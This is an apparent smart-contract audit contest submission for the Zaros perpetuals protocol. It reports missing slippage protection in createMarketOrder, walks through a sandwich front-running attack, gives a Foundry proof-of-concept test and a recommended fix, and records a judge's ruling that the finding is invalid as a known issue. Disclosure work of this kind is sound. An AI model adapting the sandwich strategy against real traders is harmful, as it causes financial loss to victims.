Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Lack of slippage protection in OrderBranch::createMarketOrder may cause significant User losses

0x5chn0uf

Summary

The OrderBranch::createMarketOrder function does not allow users to specify a maximum acceptable slippage or a minimum fill price. This vulnerability exposes users to asset price variations and sandwich attacks, where an attacker can manipulate the market price to their advantage, resulting in the user's order being filled at a significantly worse price than expected.

This issue is not limited to malicious actors; even large legitimate orders can adversely impact the market price and lead to unfavorable fills for other users.

Vulnerability Details

Proof of Concept

  • The victim creates a market order to buy 1,000 units of an asset perpetual contract.

  • The attacker observes the victim's pending market order in the mempool.

  • The attacker submits a large buy order for 10,000 units of the asset, front-running the victim's order.

  • The attacker's large buy order causes the market price to spike

  • The keeper then fills the victim's market order at the new, higher price, which is significantly worse than the price the victim expected.

  • The attacker then creates a sell order to close their position, profiting from the price manipulation.

  • The victim is left with a position that is immediately underwater due to the unfavorable fill price.

Proof of Code:

Use the following file to test the scenario described above:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;
​
import { Base_Test } from "test/Base.t.sol";
import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";
import { SettlementBranch } from "@zaros/perpetuals/branches/SettlementBranch.sol";
import { PerpMarketHarness } from "test/harnesses/perpetuals/leaves/PerpMarketHarness.sol";
import { Position } from "@zaros/perpetuals/leaves/Position.sol";
import { PositionHarness } from "test/harnesses/perpetuals/leaves/PositionHarness.sol";
import { TradingAccountHarness } from "test/harnesses/perpetuals/leaves/TradingAccountHarness.sol";
import { MockPriceFeed } from "test/mocks/MockPriceFeed.sol";
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18, convert as sd59x18Convert } from "@prb-math/SD59x18.sol";
import { console } from "forge-std/Console.sol";
​
contract SandwichAttackTest is Base_Test {
MarketConfig fuzzMarketConfig;
MockPriceFeed priceFeed;
uint256 initialPrice;
​
function setUp() public override {
Base_Test.setUp();
vm.startPrank({ msgSender: users.owner.account });
configureSystemParameters();
createPerpMarkets();
vm.stopPrank();
​
fuzzMarketConfig = getFuzzMarketConfig(DOGE_USD_MARKET_ID);
initialPrice = fuzzMarketConfig.mockUsdPrice;
priceFeed = MockPriceFeed(fuzzMarketConfig.priceAdapter);
}
​
function testSandwichAttack() public {
// Setup victim
deal({ token: address(usdc), to: users.naruto.account, give: 1_000_000e6 });
changePrank({ msgSender: users.naruto.account });
uint128 victimAccountId = createAccountAndDeposit(100_000e6, address(usdc));
​
// Setup attacker
deal({ token: address(usdc), to: users.sasuke.account, give: 10_000_000e6 });
changePrank({ msgSender: users.sasuke.account });
uint128 attackerAccountId = createAccountAndDeposit(1_000_000e6, address(usdc));
// Victim creates a market order
changePrank({ msgSender: users.naruto.account });
int128 victimOrderSize = 1_000e18;
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: victimAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: victimOrderSize
})
);
​
// Attacker front-runs with a large buy order
changePrank({ msgSender: users.sasuke.account });
int128 attackerOrderSize = 10_000e18;
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: attackerAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: attackerOrderSize
})
);
​
// Fill attacker's order
changePrank({ msgSender: marketOrderKeepers[fuzzMarketConfig.marketId] });
perpsEngine.fillMarketOrder(
attackerAccountId,
fuzzMarketConfig.marketId,
getMockedSignedReport(fuzzMarketConfig.streamId, initialPrice)
);
​
(, int256 priceAfterAttack, , , ) = priceFeed.latestRoundData();
​
// Fill victim's order
perpsEngine.fillMarketOrder(
victimAccountId,
fuzzMarketConfig.marketId,
getMockedSignedReport(fuzzMarketConfig.streamId, uint256(priceAfterAttack))
);
​
(, int256 priceAfterUserOrder, , , ) = priceFeed.latestRoundData();
​
// Attacker closes their position
changePrank({ msgSender: users.sasuke.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: attackerAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: -attackerOrderSize
})
);
// Keeper fills attacker's closing order
changePrank({ msgSender: marketOrderKeepers[fuzzMarketConfig.marketId] });
perpsEngine.fillMarketOrder(
attackerAccountId,
fuzzMarketConfig.marketId,
getMockedSignedReport(fuzzMarketConfig.streamId, uint256(priceAfterUserOrder))
);
​
// Check results
Position.Data memory victimPosition = PositionHarness(address(perpsEngine)).exposed_Position_load(
victimAccountId,
fuzzMarketConfig.marketId
);
​
SD59x18 lastInteractionPriceX18 = sd59x18(int128(victimPosition.lastInteractionPrice));
SD59x18 initialPriceX18 = sd59x18(int256(initialPrice));
SD59x18 victimPricePercentageDifference = ((lastInteractionPriceX18.sub(initialPriceX18)).mul(sd59x18Convert(100))).div(
(lastInteractionPriceX18.add(initialPriceX18)).div(sd59x18Convert(2))
);
​
// Calculate and log profits/losses
int256 victimPnL = initialPriceX18.sub(lastInteractionPriceX18).mul(sd59x18(victimOrderSize)).intoInt256();
​
console.log("Victim's position size:", uint256(victimPosition.size));
console.log("Victim's last interaction price:", victimPosition.lastInteractionPrice);
console.log(
"Price Percentage difference between victim's expected price and fillled price:",
victimPricePercentageDifference.intoUint256()
);
console.log("Victim's PnL:", victimPnL);
​
// Assert victim bought at higher price
assertGt(victimPosition.lastInteractionPrice, initialPrice, "Victim should have bought at a higher price");
assertGt(victimPricePercentageDifference.intoUint256(), 5, "Percentage wise impact should be significant");
​
// Assert victim lost
assertLt(victimPnL, 0, "Victim should have lost money");
}
}
​
​

Impact

Potential for Significant User Losses:

  • The absence of slippage protection can expose users to substantial losses if their orders are filled at unfavorable prices. This risk is particularly severe for large positions, potentially compromising users' financial well-being and trading strategies.. Such experiences can erode trust in the protocol and deter user engagement..

Erosion of User Trust and Decreased Adoption:

  • Repeated negative experiences with order executions can damage the protocol's reputation, leading to decreased user engagement and adoption due to fear of unexpected losses. This, in turn, can reduce liquidity and overall participation.

Increased Costs for the Protocol:

  • Decreased adoption and liquidity can lead to reduced revenue and profitability for the protocol

Tools Used

Manual Testing

Recommendations

Enhance the OrderBranch::createMarketOrder function by allowing users to specify maximum acceptable slippage or a maximum fill price. This can be done by adding additional parameters to the calldata:

struct CreateMarketOrderParams {
uint128 tradingAccountId;
uint128 marketId;
int128 sizeDelta;
+ uint128 maxAcceptablePrice
}
​

Then implement a check in the SettlementBranch::fillMarketOrder function to verify that the fill price falls within the user's specified range.. If the fill price exceeds the user's acceptable range, the order should be reverted.

function fillMarketOrder(
uint128 tradingAccountId,
uint128 marketId,
bytes calldata priceData
) external onlyMarketOrderKeeper(marketId) {
// ...
+ if (ctx.fillPriceX18 > ctx.maxAcceptablePrice) {
+ revert Errors.PriceExceedsMaxAcceptableSlippage(ctx.fillPriceX18, ctx.maxAcceptablePrice);
+ }
​
// ...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

fillMarketOrder lacks slippage protection

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.